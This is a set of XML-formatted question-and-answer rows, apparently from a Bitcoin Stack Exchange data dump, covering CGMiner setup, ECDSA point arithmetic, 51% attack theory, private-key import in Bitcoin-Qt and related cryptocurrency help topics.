  <row Id="26981" PostTypeId="1" AcceptedAnswerId="30549" CreationDate="2014-06-15T16:31:13.773" Score="1" ViewCount="4836" Body="&lt;p&gt;I am going crazy trying to install &lt;strong&gt;CGminer&lt;/strong&gt; on my RaspberryPi (I use Raspbian) to mine &lt;strong&gt;Scrypt&lt;/strong&gt; currency&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded it and when I perform:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo ./configure&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;finally I get the following error message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;------------------------------------------------------------------------&#xA;cgminer 3.7.2&#xA;------------------------------------------------------------------------&#xA;&#xA;&#xA;Configuration Options Summary:&#xA;&#xA;  libcurl(GBT+getwork).: Enabled: -lcurl  &#xA;  curses.TUI...........: FOUND: -lncurses&#xA;  scrypt...............: Disabled&#xA;  OpenCL...............: Detection overrided. GPU mining support DISABLED&#xA;configure: error: No mining configured in&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why? And why it say to me that &lt;strong&gt;scrypt&lt;/strong&gt; is disabled?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the problem? How can I fix it?&lt;/p&gt;&#xA;" OwnerUserId="18226" LastEditorUserId="5406" LastEditDate="2016-04-25T19:10:13.630" LastActivityDate="2017-04-26T03:42:56.297" Title="Why do I get this error when I try to install CGMiner on my RaspberryPi?" Tags="|miner-configuration|cgminer|raspberry-pi|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26982" PostTypeId="1" AcceptedAnswerId="27008" CreationDate="2014-06-15T17:05:49.863" Score="2" ViewCount="84" Body="&lt;p&gt;In the stock market, there are several financial products that allow an individual investor to trade/hedge daily volatility? As an example, there is the VIIX. Are there any such financial products available in the bitcoin community? IF one wanted bitcoin exposure for a day or two, due to a major event, is the only way to buy bitcoins themselves?&lt;/p&gt;&#xA;" OwnerUserId="18216" LastEditorDisplayName="user5107" LastEditDate="2014-06-16T23:37:59.940" LastActivityDate="2017-05-12T05:26:48.670" Title="Are there any instruments that I can use to trade bitcoin volatility?" Tags="|trading|economic-theory|exchange-rate|price-volatility|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26983" PostTypeId="2" ParentId="26937" CreationDate="2014-06-15T18:13:43.367" Score="3" Body="&lt;p&gt;The &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/98f4c6c49ce42f3c83d21e5b8ae32eda02a79d49/doc/release-notes/release-notes-0.9.0.md&quot; rel=&quot;nofollow&quot;&gt;release notes&lt;/a&gt; for Bitcoin Core (Satoshi client) version 0.9.0 states&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Accept nLockTime transactions that finalize in the next block&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So it will just discard other &lt;code&gt;nLockTime&lt;/code&gt; transactions. Since most miners run bitcoind or some fork of bitcoind, it is unlikely that an &lt;code&gt;nLockTime&lt;/code&gt; transaction will persist for a long time.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2014-06-15T18:13:43.367" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26984" PostTypeId="1" CreationDate="2014-06-15T19:13:28.093" Score="1" ViewCount="159" Body="&lt;p&gt;How can I spot,find my bitcoin wallet?I have a bitcoin address and I collect btcs daily but I can't recall the website which is the source of my wallet and account.What can I do?&lt;/p&gt;&#xA;" OwnerUserId="18234" LastActivityDate="2014-06-15T22:50:41.303" Title="Bitcoin wallet?" Tags="|wallet|" AnswerCount="1" CommentCount="2" ClosedDate="2014-06-17T12:20:01.003" ContentLicense="CC BY-SA 3.0" />
  <row Id="26985" PostTypeId="1" AcceptedAnswerId="26992" CreationDate="2014-06-15T21:13:02.217" Score="2" ViewCount="92" Body="&lt;p&gt;I have Windows 7 and i’m using the bitcoin-qt client v0.8.6-beta.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last night i tried to open up the client – but there was a message that said i had some issues with the blockchain. Which is weird, i never had any problem before so i closed it and reopened the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then suddenly the blockchain started to download it self from the very beginning (!) backlog of like 260 weeks! But the old (and already downloaded) blockchain is still on my pc – so why dosen’t the client recognise it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bitcoins are still inside the wallet – or at least it shows them.&lt;/p&gt;&#xA;" OwnerUserId="18235" LastActivityDate="2014-06-16T06:01:14.920" Title="blockchain - strange problem" Tags="|blockchain|client|error|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26986" PostTypeId="1" CreationDate="2014-06-15T21:27:44.597" Score="3" ViewCount="189" Body="&lt;p&gt;Suppose we have a service, which holds user balance in Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to implement withdrawal from bitcoin perspective?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which RPC call to use? How to archive transaction to have a proof of sending money to user? How to prevent duplicate money send in corellation to SQL transaction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most important thing is to prevent dual-submission having in mind power loss at any time. So we should have a way to mark some money as &quot;possible sended&quot; + some way to check in future time if it really was succesfuly sended and stored in blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(note that I am not asking about security, ACID transaction itd. I am interested in a way to comunicate with wallet daemon service)&lt;/p&gt;&#xA;" OwnerUserId="17075" LastActivityDate="2014-10-31T02:36:03.350" Title="What is the best way to implement withdrawal in online service?" Tags="|blockchain|bitcoind|json-rpc|withdrawal|daemon|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26987" PostTypeId="1" CreationDate="2014-06-15T22:27:28.023" Score="1" ViewCount="362" Body="&lt;p&gt;I've been implementing point addition into a c++ program I've written but I don't see how this can be done right.  When I do &lt;code&gt;slope = (y1 - y2)/(x1 - x2)&lt;/code&gt; I get a freaking decimal, which doesn't produce the proper points when applied to the other parts of the equation due to  it not retaining its fractional qualities.  Anyone have any ideas how how to get past that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Point Addition being defined by the following equation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;slope = (y1 - y2) / (x1 - x2)&#xA;&#xA;xsum = slope ^ 2 - (x1 + x2)&#xA;&#xA;ysum = slope * (x1 - xsum) - y1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Whereby Private Address x02 with x,y coordinates respectively:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;89565891926547004231252920425935692360644145829622209833684329913297188986597&#xA;12158399299693830322967808612713398636155367887041628176798871954788371653930&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with the Point Addition of Private Address x01 with x,y coordinates respectively:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;55066263022277343669578718895168534326250603453777594175500187360389116729240&#xA;32670510020758816978083085130507043184471273380659243275938904335757337482424&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;applied to the above equation produce the result of Private Address x03 with x,y coordinates respectively:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;112711660439710606056748659173929673102114977341539408544630613555209775888121&#xA;25583027980570883691656905877401976406448868254816295069919888960541586679410&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Elliptic_curve_point_multiplication&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Elliptic_curve_point_multiplication&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I put this C++ program together, and I've modified in every way I can think of (moving %p around, doing it too many times, breaking up the equations and the like).  I can't get it to result in the proper results.  Anyone mind checking it out and see what you can find please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://coliru.stacked-crooked.com/a/26f9ed24ed5a86ed&quot; rel=&quot;nofollow&quot;&gt;http://coliru.stacked-crooked.com/a/26f9ed24ed5a86ed&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15552" LastEditorUserId="15552" LastEditDate="2014-06-18T07:35:41.873" LastActivityDate="2014-06-18T07:35:41.873" Title="Programming and the ECDSA equation" Tags="|development|protocol|ecdsa|" AnswerCount="1" CommentCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="26988" PostTypeId="2" ParentId="26984" CreationDate="2014-06-15T22:50:41.303" Score="3" Body="&lt;p&gt;You really only have two options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Try and remember the website you used (maybe you have an email from it?)&lt;/li&gt;&#xA;&lt;li&gt;If you have a wallet backup, send the coins to a new address/wallet&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9505" LastActivityDate="2014-06-15T22:50:41.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26989" PostTypeId="2" ParentId="26987" CreationDate="2014-06-15T23:05:49.807" Score="2" Body="&lt;p&gt;The magic phrase on that page is &lt;em&gt;in a &lt;a href=&quot;http://en.wikipedia.org/wiki/Finite_field&quot; rel=&quot;nofollow&quot;&gt;finite field&lt;/a&gt;&lt;/em&gt;.  Here the finite field is the integers mod p, where p is the number 2&lt;sup&gt;256&lt;/sup&gt; - 2&lt;sup&gt;32&lt;/sup&gt; - 2&lt;sup&gt;9&lt;/sup&gt; - 2&lt;sup&gt;8&lt;/sup&gt; - 2&lt;sup&gt;7&lt;/sup&gt; - 2&lt;sup&gt;6&lt;/sup&gt; - 2&lt;sup&gt;4&lt;/sup&gt; - 1 (see &lt;a href=&quot;https://en.bitcoin.it/wiki/Secp256k1&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;).  So all the arithmetic in your equations isn't ordinary arithmetic of integers or real numbers; it needs to be done mod p.   See &lt;a href=&quot;http://en.wikipedia.org/wiki/Modular_arithmetic&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Modular_arithmetic&lt;/a&gt;.  For addition, subtraction and multiplication, you can use ordinary integer arithmetic and compute the remainder mod p at the end.  For division, you will need something like the &lt;a href=&quot;http://en.wikipedia.org/wiki/Extended_euclidean_algorithm&quot; rel=&quot;nofollow&quot;&gt;extended Euclidean algorithm&lt;/a&gt;.  Of course, you will also need to be using &lt;a href=&quot;http://en.wikipedia.org/wiki/Arbitrary_precision_arithmetic&quot; rel=&quot;nofollow&quot;&gt;arbitrary precision arithmetic&lt;/a&gt; if you are not already, since numbers of this size are much too large for standard C++ types like &lt;code&gt;long int&lt;/code&gt; and &lt;code&gt;double&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-06-15T23:05:49.807" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26990" PostTypeId="2" ParentId="26881" CreationDate="2014-06-15T23:10:26.453" Score="0" Body="&lt;p&gt;I asked this same question in a simpler way without mentioning bip 70 and got the answer &lt;a href=&quot;https://stackoverflow.com/a/24298464/3335799&quot; title=&quot;answer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The initial problem was that Django doesn't like people posting to your server who arent authorised so I used &lt;code&gt;from django.views.decorators.csrf import csrf_exempt&lt;/code&gt; and the corresponding decorator &lt;code&gt;@csrf_exempt&lt;/code&gt; as a short term work around for further debugging.&lt;/p&gt;&#xA;&lt;p&gt;More detailed info can be found by following the link to the simplified question.&lt;/p&gt;&#xA;" OwnerUserId="15533" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-06-27T22:46:40.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26992" PostTypeId="2" ParentId="26985" CreationDate="2014-06-16T06:01:14.920" Score="0" Body="&lt;p&gt;Perhabs your &lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory&quot; rel=&quot;nofollow&quot;&gt;bitcoin datadir&lt;/a&gt; has moved. Try to start you client with the path to you folder containing the blockchain:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-qt.exe -datadir=&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another posibility, the client is just reindexing the blockchain, not downloading. You can check this if you hover over the progressbar and look at the text.&lt;/p&gt;&#xA;" OwnerUserId="17113" LastActivityDate="2014-06-16T06:01:14.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26993" PostTypeId="1" AcceptedAnswerId="26994" CreationDate="2014-06-16T06:05:29.867" Score="5" ViewCount="923" Body="&lt;p&gt;I wonder if there are any abbreviations/acronyms/codes for exchanges like Cryptsy, Kraken, and Ccex. Similar to abbreviations as seen for coins in &lt;code&gt;Bitcoin = BTC&lt;/code&gt; and &lt;code&gt;Litecoin = LTC&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="13605" LastEditorUserId="13605" LastEditDate="2014-06-18T05:30:55.437" LastActivityDate="2014-06-18T05:30:55.437" Title="Are There Abbreviations/Acronyms/Codes for Cryptocurrency Exchanges?" Tags="|exchanges|terminology|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26994" PostTypeId="2" ParentId="26993" CreationDate="2014-06-16T08:06:28.900" Score="3" Body="&lt;p&gt;No, there are not such codes for Exchanges, like there aren't any codes for different websites. The codes for the different currencies are just for shortening I believe. It's easier anyhow for trading pairs (NMC/BTC instead of Namecoin/Bitcoin)&lt;/p&gt;&#xA;" OwnerUserId="15412" LastEditorUserId="15412" LastEditDate="2014-06-16T11:30:55.613" LastActivityDate="2014-06-16T11:30:55.613" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26996" PostTypeId="1" AcceptedAnswerId="26997" CreationDate="2014-06-16T11:06:36.690" Score="4" ViewCount="141" Body="&lt;p&gt;In &lt;a href=&quot;https://bter.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bter&lt;/a&gt; I created a sell offer with DOGE/BTC, it seems the calculation is wrong. They have not deducted the transaction fee. I have included 2 screen shots and anybody know the same or experience the same kindly clarify this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Before creating sell order&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Sell DOGE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f4c7i.png&quot; alt=&quot;before creating order&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;After creating sell order&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oRpQH.png&quot; alt=&quot;after creating order&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is Is transaction fee deducted in this transaction?&lt;/p&gt;&#xA;" OwnerUserId="12634" LastEditorUserId="15412" LastEditDate="2014-07-14T14:34:44.840" LastActivityDate="2014-07-14T14:34:44.840" Title="Sell order in Bter is incorrect" Tags="|exchange-rate|exchange-fees|exchange-order|bter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26997" PostTypeId="2" ParentId="26996" CreationDate="2014-06-16T11:11:23.890" Score="2" Body="&lt;p&gt;That depends also on your BTC balance AFTER the sale. It seems that there is indeed 1000 DOGE subtracted from your balance, so that is correct. If there has been 0.00061 added to your BTC balance, then no fees have been deducted. If 0.00061*(1-0.0018) = 0.000608902 have been added to your BTC balance, then the fees have been deducted from your received currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is general behavior on exchanges. It is more user friendly to specify the exact amount of sold (and deducted from balance) and deduct the fee from the receiving currency. &lt;/p&gt;&#xA;" OwnerUserId="15412" LastEditorUserId="15412" LastEditDate="2014-06-16T11:39:53.407" LastActivityDate="2014-06-16T11:39:53.407" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="26999" PostTypeId="1" AcceptedAnswerId="27001" CreationDate="2014-06-16T15:33:30.187" Score="7" ViewCount="3024" Body="&lt;p&gt;I would think that amending the bitcoin protocol to require a supermajority, say 60% or 75%, to verify proof of work help reduce the risk of a 51% attack. If this is so, what are the major obstacles or things I'm not contemplating? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing that immediately came to mind was that it would increase the time horizon on which most transactions are verified, which could be significantly detrimental to the ecosystem. What else?&lt;/p&gt;&#xA;" OwnerUserId="11277" LastEditorUserId="5406" LastEditDate="2016-03-15T09:33:39.350" LastActivityDate="2017-01-19T08:57:12.240" Title="Supermajority to prevent 51% attack?" Tags="|transactions|security|mining-theory|majority-attack|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27000" PostTypeId="2" ParentId="26999" CreationDate="2014-06-16T15:39:02.697" Score="4" Body="&lt;p&gt;I think you should state exactly what you mean by &quot;51% attack&quot;. If by attack you mean double-spending, the original Bitcoin paper by Satoshi outlines that it brings more reward to mine all the blocks for yourself and obtain 100% of the rewards rather than attempt a re-org for the double-sending, which might lose you the rewards and therefore the miners (which would be leaving your pool during your rewardless attempt to re-org the history). From the paper:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If a greedy attacker is able to  assemble more CPU power than all the&#xA;  honest nodes, he would have to choose between using it  to defraud&#xA;  people by stealing back his payments, or using it to generate new&#xA;  coins. He ought to  find it more profitable to play by the rules, such&#xA;  rules that favour him with more new coins than  everyone else&#xA;  combined, than to undermine the system and the validity of his own&#xA;  wealth.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-06-16T15:39:02.697" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27001" PostTypeId="2" ParentId="26999" CreationDate="2014-06-16T16:48:56.603" Score="19" Body="&lt;p&gt;The 51% attack is emergent behavior of the system. It's not because there's a &quot;50%&quot; buried somewhere in the protocol that can just be changed to 60% or 75%. Someone with more hashing power than everyone else combined can, given enough time, always build a longer chain than everyone else.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-06-16T16:48:56.603" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="27002" PostTypeId="2" ParentId="26999" CreationDate="2014-06-16T17:40:11.037" Score="5" Body="&lt;p&gt;David Schwartz has a good answer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But to explore a little further, you can roughly think of Bitcoin's proof-of-work system, in the long run, as an election to decide which is the &quot;true&quot; block chain, and hence, which transactions are recognized as having occurred. As it stands, each miner gets voting power in this election proportional to their hash power (one hash, one vote), and the outcome is determined by plurality. So a miner who controls more than half of the hash power can always win the election, and as such is effectively a dictator: she gets to decide which transactions are recognized and which are not. This makes it very easy for her to defraud people, since she can make a transaction, collect the goods, and later declare that the transaction never happened and she still has her money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose that we could come up with some way to change the election from a plurality to a supermajority (although it isn't immediately clear to me how that could be accomplished). Let's say a 75% supermajority was required. This would have the benefit that an attacker with, say, 70% of the hash power could no longer become a dictator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it would have the serious problem that an attacker with only 30% of the hash power could mount a denial of service attack simply by voting in some contrary way. He thus prevents a supermajority from being achieved, no transactions can be confirmed, and the whole currency system comes to a screeching halt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose this problem is inherent to any political system that uses a supermajority (see for instance the US Senate). Bitcoin is a little  different in that the questions being voted on are not supposed to be controversial: every honest voter should vote the same way. So by design,  the minority should have no voice. And under the current system, they have no voice at all. But with a supermajority, the minority can obstruct the majority, and we don't want that.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="5757" LastEditDate="2014-06-16T21:34:40.513" LastActivityDate="2014-06-16T21:34:40.513" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27003" PostTypeId="1" AcceptedAnswerId="27004" CreationDate="2014-06-16T17:44:33.270" Score="4" ViewCount="82" Body="&lt;p&gt;I have read that numerous high frequency trading firms build datacenters near equity exchanges to minimize the milliseconds necessary to get quotes and execute trades. In the case of buying and selling Bitcoin, is my broker's proximity to an exchange relevant? Have we seen Bitcoin brokers start to advertise trade execution guarantees?&lt;/p&gt;&#xA;" OwnerUserId="18216" LastActivityDate="2014-06-17T04:29:54.900" Title="Proximity to exchanges and pricing" Tags="|trading|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27004" PostTypeId="2" ParentId="27003" CreationDate="2014-06-16T18:18:01.230" Score="2" Body="&lt;p&gt;Right now, generally no. As far as I know Bitcoin exchanges dont offer peering services, and they all use CDNs (like Incapsula) to prevent DDoS attacks. So moving closer to them isnt going to help much, because you're still going to have all your traffic pass through the CDN. If you were located in China and wanted to access a US exchange, then yes it would help a some, but if you're an American trying to access an American exchange, the lower latency would be negligible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There aren't really Bitcoin brokers as there are stock brokers. With Bitcoin you generally deal with the exchange yourself, there isnt a middle man like a brokerage. The closest thing I know of to a broker in Bitcoin is BTX Trader, which will purchase coins for you at the best price from multiple exchanges.&lt;/p&gt;&#xA;" OwnerUserId="15695" LastEditorUserId="15695" LastEditDate="2014-06-17T04:29:54.900" LastActivityDate="2014-06-17T04:29:54.900" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27005" PostTypeId="2" ParentId="5941" CreationDate="2014-06-16T19:35:46.927" Score="7" Body="&lt;p&gt;For those of you looking to import your Vanity address into your BitCoin QT client, here are the instructions (&lt;a href=&quot;https://en.bitcoin.it/wiki/How_to_import_private_keys_v7+&quot; rel=&quot;nofollow noreferrer&quot;&gt;source&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Backup Your Wallet&lt;/strong&gt;&#xA;Although this process is well tested and used you should always take another backup of your wallet.dat file before starting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Open Debug Window&lt;/strong&gt;&#xA;Then go to menu: /Help/Debug Window and click on the tab - Console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Unlock your wallet&lt;/strong&gt;&#xA;If your wallet is encrypted (I hope it is!) you must unlock it. If not just skip this step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this just type into the box at the bottom:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;walletpassphrase &quot;YourLongPassphrase&quot; 600&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You need the quotes if there is a space in your phrase else there is no need for them. The 600 means your wallet is unlocked for 10 minutes (600 seconds).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Run Import Command in Debug Window&lt;/strong&gt;&#xA;In the console at the very bottom is a text entry box. In here enter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;importprivkey yourPrivateKeyInWalletImportFormat &quot;TheLabelThatIWant&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The private key must not have any spaces, remove them if they existt in your backup. The label may have spaces, the quotes are only needed if you want a space in the label.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You now have to be patient. On a fast PC it takes 2 minutes to import, and during this time it looks like you application has hung. You are now done. But always best to check it worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Check Key Imported OK&lt;/strong&gt;&#xA;Once Imported you can check that you have the address by closing the Debug window and going back to your address book. You should see the address here. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Restart your BitCoin QT Client to see the new address in your Receive&#xA;&quot;Tab&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Backup Wallet&lt;/strong&gt;&#xA;Your backup of your wallet will not have this key in obviously. So before you do anything else backup the wallet.dat file as normal.&lt;/p&gt;&#xA;" OwnerUserId="5227" LastEditorUserId="45378" LastEditDate="2017-01-24T16:42:26.070" LastActivityDate="2017-01-24T16:42:26.070" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27007" PostTypeId="1" CreationDate="2014-06-16T22:19:00.967" Score="4" ViewCount="480" Body="&lt;p&gt;I'm interested in the following use cases:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Web content&lt;/li&gt;&#xA;&lt;li&gt;Voice and media traffic&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For the first case, it would be ideal to be able to include some sort of proof in a custom HTTP request header showing that the client has made the payment. The server should be able to check this proof and verify that the payment has indeed been made, and then reply with the requested resource or return an error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may be a payment (required), or it may be a donation/tip (voluntary); in the latter case the server may collect these and verify them later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the voice and media case, the idea is to incentivize independent relay nodes to forward traffic for clients behind NAT/firewall or simply those who wish to add a layer of anonymity (similar to Tor). Again, these could be &quot;metered&quot; payments (e.g. 0.0001 XRP per 10 MB, or say for 30 minutes), or they could be tips. The speed would be extremely important in this case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand it, there are two ways to do micropayments:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;On-ledger: These are payments made on the ledger and verified by the recipient using the transaction ID. This may be too slow, depending on the use case.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Signed transactions: Here the sender simply sends a signed transaction to the recipient, who can verify instantly if the sender has sufficient funds. Double-spending is possible in this case.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What would be ideal is if we could generate some sort of bearer token that could be passed around over multiple payments before it is finally redeemed on the ledger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be even more awesome if these bearer tokens were anonymized using blind signatures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone implemented micropayments with Ripple, and are there any guidelines/recommendations on how to go about it?&lt;/p&gt;&#xA;" OwnerUserId="3228" LastEditorUserId="3228" LastEditDate="2014-06-30T07:06:18.410" LastActivityDate="2014-06-30T07:06:18.410" Title="What is the best way to implement micropayments with Ripple?" Tags="|ripple|micropayments|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27008" PostTypeId="2" ParentId="26982" CreationDate="2014-06-16T23:52:16.717" Score="1" Body="&lt;p&gt;A VIX index can easily be &lt;a href=&quot;http://www.cboe.com/micro/vix/vixwhite.pdf&quot; rel=&quot;nofollow&quot;&gt;reconstructed&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trading that index should be somewhat achievable with a multi-signature transaction, depending upon the limitations of the implementation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is completely private without any regard for transparency at full counterparty trust, a binary option can easily be constructed.  If the BTCVIX is &gt;= X at expiration, pay 100% to party A else pay to party B.  The possible price is (0,100)%, rationally speaking where one party &quot;buys&quot; at P% and the other party &quot;sells&quot; at 100-P%.  In reality, both parties deposit the funds into the transaction, and the winner takes all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problems involved with multisigs have been extensively discussed here and elsewhere, but layers can be added to the transaction to ensure smooth functioning such as posting the text of the terms of the transaction in the transaction, both parties posting margin which is returned upon exercision, a 3rd party that cosigns with one party to free the funds, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The complexity thus costs skyrockets with vanilla options because of having to recreate a margin mechanism.&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastActivityDate="2014-06-16T23:52:16.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27009" PostTypeId="1" CreationDate="2014-06-17T06:36:36.093" Score="3" ViewCount="168" Body="&lt;p&gt;Is it likely that anti-malware or anti-virus software is causing this issue? (I have told such programs to exclude the Bitcoin folders from scans)&lt;/p&gt;&#xA;" OwnerUserId="18257" LastEditorUserId="132" LastEditDate="2014-06-17T11:05:01.433" LastActivityDate="2014-06-17T11:05:01.433" Title="How do I prevent Bitcoin-qt from having to keep reindexing the blockchain?" Tags="|blockchain|bitcoin-core|" AnswerCount="0" CommentCount="2" ClosedDate="2015-03-03T16:45:08.930" ContentLicense="CC BY-SA 3.0" />
  <row Id="27010" PostTypeId="5" CreationDate="2014-06-17T11:18:05.797" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-06-17T11:18:05.797" LastActivityDate="2014-06-17T11:18:05.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27011" PostTypeId="4" CreationDate="2014-06-17T11:18:05.797" Score="0" Body="Questions related to the official Apple Appstore" OwnerUserId="15412" LastEditorUserId="15412" LastEditDate="2014-06-17T12:18:29.240" LastActivityDate="2014-06-17T12:18:29.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
